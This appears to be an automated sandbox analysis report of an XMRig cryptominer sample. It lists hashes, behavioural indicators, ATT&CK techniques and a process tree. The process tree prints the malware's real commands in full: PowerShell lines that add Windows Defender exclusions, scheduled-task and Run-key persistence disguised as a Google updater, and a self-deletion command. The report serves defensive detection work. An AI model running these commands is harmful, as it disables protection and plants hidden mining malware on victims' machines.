xmrig | cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

max time kernel
1766s
max time network
1802s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
05/05/2023, 05:31

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General

Target

qM5GMXBk6hJE6Y5e.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1256 created 1212	1256	qM5GMXBk6hJE6Y5e.exe	17
PID 1256 created 1212	1256	qM5GMXBk6hJE6Y5e.exe	17
PID 1256 created 1212	1256	qM5GMXBk6hJE6Y5e.exe	17
PID 1256 created 1212	1256	qM5GMXBk6hJE6Y5e.exe	17
PID 1524 created 1212	1524	updater.exe	17
PID 1524 created 1212	1524	updater.exe	17
PID 1524 created 1212	1524	updater.exe	17
PID 1524 created 1212	1524	updater.exe	17
PID 1592 created 1212	1592	conhost.exe	17
PID 1524 created 1212	1524	updater.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral1/memory/2044-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-153-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-155-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-157-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-159-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-161-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-163-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-165-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2044-167-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
1472	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1524	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1760	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2044-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-153-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-155-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-157-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-159-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-161-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-163-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-165-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2044-167-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1524 set thread context of 1592	1524	updater.exe	46
PID 1524 set thread context of 2044	1524	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1772	schtasks.exe
876	schtasks.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90850cba237fd901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1256	qM5GMXBk6hJE6Y5e.exe
1256	qM5GMXBk6hJE6Y5e.exe
1744	powershell.exe
1256	qM5GMXBk6hJE6Y5e.exe
1256	qM5GMXBk6hJE6Y5e.exe
1280	powershell.exe
1256	qM5GMXBk6hJE6Y5e.exe
1256	qM5GMXBk6hJE6Y5e.exe
1256	qM5GMXBk6hJE6Y5e.exe
1256	qM5GMXBk6hJE6Y5e.exe
1792	powershell.exe
1524	updater.exe
1524	updater.exe
1528	powershell.exe
1524	updater.exe
1524	updater.exe
820	powershell.exe
1524	updater.exe
1524	updater.exe
1524	updater.exe
1524	updater.exe
1592	conhost.exe
1592	conhost.exe
1524	updater.exe
1524	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeDebugPrivilege	820	powershell.exe
Token: SeDebugPrivilege	1524	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1272	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1272	WMIC.exe
Token: SeSecurityPrivilege	1272	WMIC.exe
Token: SeTakeOwnershipPrivilege	1272	WMIC.exe
Token: SeLoadDriverPrivilege	1272	WMIC.exe
Token: SeSystemtimePrivilege	1272	WMIC.exe
Token: SeBackupPrivilege	1272	WMIC.exe
Token: SeRestorePrivilege	1272	WMIC.exe
Token: SeShutdownPrivilege	1272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1272	WMIC.exe
Token: SeUndockPrivilege	1272	WMIC.exe
Token: SeManageVolumePrivilege	1272	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1272	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1272	WMIC.exe
Token: SeSecurityPrivilege	1272	WMIC.exe
Token: SeTakeOwnershipPrivilege	1272	WMIC.exe
Token: SeLoadDriverPrivilege	1272	WMIC.exe
Token: SeSystemtimePrivilege	1272	WMIC.exe
Token: SeBackupPrivilege	1272	WMIC.exe
Token: SeRestorePrivilege	1272	WMIC.exe
Token: SeShutdownPrivilege	1272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1272	WMIC.exe
Token: SeUndockPrivilege	1272	WMIC.exe
Token: SeManageVolumePrivilege	1272	WMIC.exe
Token: SeLockMemoryPrivilege	2044	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1280 wrote to memory of 1772	1280	powershell.exe	32
PID 1280 wrote to memory of 1772	1280	powershell.exe	32
PID 1280 wrote to memory of 1772	1280	powershell.exe	32
PID 1472 wrote to memory of 1536	1472	cmd.exe	37
PID 1472 wrote to memory of 1536	1472	cmd.exe	37
PID 1472 wrote to memory of 1536	1472	cmd.exe	37
PID 1792 wrote to memory of 828	1792	powershell.exe	38
PID 1792 wrote to memory of 828	1792	powershell.exe	38
PID 1792 wrote to memory of 828	1792	powershell.exe	38
PID 1760 wrote to memory of 1524	1760	taskeng.exe	40
PID 1760 wrote to memory of 1524	1760	taskeng.exe	40
PID 1760 wrote to memory of 1524	1760	taskeng.exe	40
PID 820 wrote to memory of 876	820	powershell.exe	45
PID 820 wrote to memory of 876	820	powershell.exe	45
PID 820 wrote to memory of 876	820	powershell.exe	45
PID 1524 wrote to memory of 1592	1524	updater.exe	46
PID 1604 wrote to memory of 1272	1604	cmd.exe	51
PID 1604 wrote to memory of 1272	1604	cmd.exe	51
PID 1604 wrote to memory of 1272	1604	cmd.exe	51
PID 1524 wrote to memory of 2044	1524	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1212
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1772
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:820
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:876
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1592
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1272
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1808
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2044

C:\Windows\system32\taskeng.exe
taskeng.exe {3438D161-372F-4B54-B4D3-A4954C8F2168} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1524

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a50d7475bae064183b3122751cf882f1

SHA1
8180b27a9d61617ae474acd6d2f6c668c54dda8d

SHA256
f281286f47ded45c3ce4ae058aa107273110cb3fc3179cc23bb38cc2a0b015e8

SHA512
06d68d33676c8ba4c9025b3df0810bd8a92ce71d3aab97303cebe93bd981a28e7ac42a5392de078e077e33f778b2f85fa6fbede4d08f5af4698b2ed32259886b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a50d7475bae064183b3122751cf882f1

SHA1
8180b27a9d61617ae474acd6d2f6c668c54dda8d

SHA256
f281286f47ded45c3ce4ae058aa107273110cb3fc3179cc23bb38cc2a0b015e8

SHA512
06d68d33676c8ba4c9025b3df0810bd8a92ce71d3aab97303cebe93bd981a28e7ac42a5392de078e077e33f778b2f85fa6fbede4d08f5af4698b2ed32259886b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UHXZM356O8Q08WY8PN1F.temp

Filesize
7KB

MD5
a50d7475bae064183b3122751cf882f1

SHA1
8180b27a9d61617ae474acd6d2f6c668c54dda8d

SHA256
f281286f47ded45c3ce4ae058aa107273110cb3fc3179cc23bb38cc2a0b015e8

SHA512
06d68d33676c8ba4c9025b3df0810bd8a92ce71d3aab97303cebe93bd981a28e7ac42a5392de078e077e33f778b2f85fa6fbede4d08f5af4698b2ed32259886b

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/820-95-0x00000000011BB000-0x00000000011F2000-memory.dmp

Filesize
220KB

Download
memory/820-94-0x00000000011B0000-0x0000000001230000-memory.dmp

Filesize
512KB

Download
memory/820-93-0x00000000011B0000-0x0000000001230000-memory.dmp

Filesize
512KB

Download
memory/1256-75-0x000000013FAC0000-0x000000013FCD1000-memory.dmp

Filesize
2.1MB

Download
memory/1256-54-0x000000013FAC0000-0x000000013FCD1000-memory.dmp

Filesize
2.1MB

Download
memory/1280-72-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1280-73-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1280-71-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1280-70-0x0000000002620000-0x00000000026A0000-memory.dmp

Filesize
512KB

Download
memory/1280-69-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/1280-68-0x000000001B070000-0x000000001B352000-memory.dmp

Filesize
2.9MB

Download
memory/1524-102-0x000000013FDE0000-0x000000013FFF1000-memory.dmp

Filesize
2.1MB

Download
memory/1524-88-0x000000013FDE0000-0x000000013FFF1000-memory.dmp

Filesize
2.1MB

Download
memory/1528-91-0x0000000001144000-0x0000000001147000-memory.dmp

Filesize
12KB

Download
memory/1528-92-0x000000000114B000-0x0000000001182000-memory.dmp

Filesize
220KB

Download
memory/1592-116-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1592-107-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1744-62-0x00000000025CB000-0x0000000002602000-memory.dmp

Filesize
220KB

Download
memory/1744-61-0x00000000025C4000-0x00000000025C7000-memory.dmp

Filesize
12KB

Download
memory/1744-60-0x0000000002520000-0x0000000002528000-memory.dmp

Filesize
32KB

Download
memory/1744-59-0x000000001B0C0000-0x000000001B3A2000-memory.dmp

Filesize
2.9MB

Download
memory/1792-89-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/1792-82-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/1792-83-0x00000000026B4000-0x00000000026B7000-memory.dmp

Filesize
12KB

Download
memory/1792-84-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2044-106-0x00000000003A0000-0x00000000003C0000-memory.dmp

Filesize
128KB

Download
memory/2044-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-111-0x0000000000200000-0x0000000000220000-memory.dmp

Filesize
128KB

Download
memory/2044-112-0x00000000003A0000-0x00000000003C0000-memory.dmp

Filesize
128KB

Download
memory/2044-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-103-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2044-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-105-0x0000000000200000-0x0000000000220000-memory.dmp

Filesize
128KB

Download
memory/2044-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2044-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
